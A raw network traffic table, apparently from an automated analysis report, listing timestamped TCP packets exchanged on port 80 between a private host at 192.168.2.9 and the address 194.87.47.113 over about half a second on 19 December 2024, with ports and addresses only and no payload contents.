Dec 19, 2024 08:01:08.739984989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.740052938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.740060091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.740065098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.740118027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.740748882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.740840912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.740854025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.740880966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.741534948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.741590023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.741622925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.741636038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.741714001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.742341995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.742374897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.742386103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.742429972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.743094921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.743144989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.743146896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.743160963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.743194103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.743885994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.743910074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.743921995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.743944883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.744653940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.744698048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.744712114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.744724035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.744759083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.745429039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.745506048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.745518923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.745553970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.746335983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.746349096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.746360064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.746390104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.746417999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.746975899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.747010946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.747021914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.747092009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.750065088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.750086069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.750093937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.750154018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.750298977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.750402927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.750416040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.750454903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.751091957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.751116991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.751128912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.751146078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.751172066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.751929045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.751943111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.751954079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.752007008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.752635956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.752692938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.752695084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.752706051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.752738953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.753396988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.753448009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.753459930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.753498077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.754184961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.754234076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.754268885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.795172930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.890038013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.890067101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.890081882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.890095949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.890158892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.891195059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.891772032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.891786098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.891799927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.891825914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.891843081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.892190933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.892203093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.892215014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.892226934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.892234087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.892261028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.895850897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.895864964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.895910978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.921623945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.921662092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.921677113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.921736956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.922032118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.922046900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.922063112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.922082901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.922106981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.922646999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.923003912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.923049927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.923049927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.923065901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.923100948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.923682928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.923697948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.923713923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.923734903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.924458981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.924474001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.924489021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.924499035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.924523115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.925175905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.925201893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.925215960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.925249100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.925923109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.925961018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.925966978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.925978899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.926019907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.926803112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.926819086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.926834106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.926856041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.927522898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.927539110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.927553892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.927571058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.927588940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.928289890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.928303003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.928318024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.928333998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.929024935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.929069042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.929069996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.929085016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.929122925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.929936886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.929955959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.929971933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.929992914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.930635929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.930650949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.930666924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.930680990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.930699110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.931431055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.931447983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.931464911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.931482077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.932214022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.932230949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.932246923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.932265997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.932284117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.932975054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.932991028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.933006048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.933028936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.933998108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.934015036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.934031010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.934045076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.934063911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.934461117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.934487104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.934501886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.934528112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.935360909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.935374975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.935389042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.935415030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.935430050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.936069965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.936085939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.936100006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.936120987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.936839104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.936855078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.936868906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.936886072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.936908960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.937788010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.937803984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.937820911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.937835932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.938978910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.938994884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.939028978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.939367056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.939418077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.940197945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.940211058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.940224886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.940243959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.942918062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.943003893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.944766045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.944786072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.944802999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.944830894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.944874048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.944899082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.944914103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.944914103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.944947004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.945568085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.945585012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.945601940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.945625067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.946188927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.946204901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.946219921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.946237087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.946259975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.946788073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.946805000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.946821928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.946852922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.947346926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.947364092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.947381020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.947391033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.947417021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.947954893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.947973967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.948019028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.079770088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.079787970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.079809904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.079827070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.079840899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.079870939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.079906940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.080593109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.080606937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.080624104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.080632925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.080657005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.081346989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.081361055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.081376076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.081406116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.082155943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.082170963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.082185030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.082195044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.082221031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.082830906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.113790989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.113826036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.113848925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.113887072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.113920927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.114118099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.114140034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.114159107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.114176989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.115212917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.115232944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.115247011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.115255117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.115262032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.115281105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.115921974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.115935087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.115947962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.115964890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.115986109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.116573095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.116586924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.116599083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.116621971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.117343903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.117355108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.117367029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.117387056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.117409945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.118505001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.118519068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.118532896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.118550062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.119524002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.119537115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.119549990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.119565964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.119591951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.120522022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.120549917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.120563984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.120588064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.121424913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.121458054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.121468067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.121471882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.121505976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.122220993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.122234106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.122247934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.122273922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.123171091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.123183966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.123197079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.123213053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.123229980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.124083996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.124098063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.124111891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.124135971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.125020981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.125034094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.125047922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.125072002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.125099897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.125797987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.125809908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.125823975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.125855923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.126192093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.126204967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.126218081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.126234055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.126261950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.126708984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.126722097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.126735926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.126755953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.127283096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.127295971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.127309084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.127327919 CET	49739	80	192.168.2.9	194.87.47.113
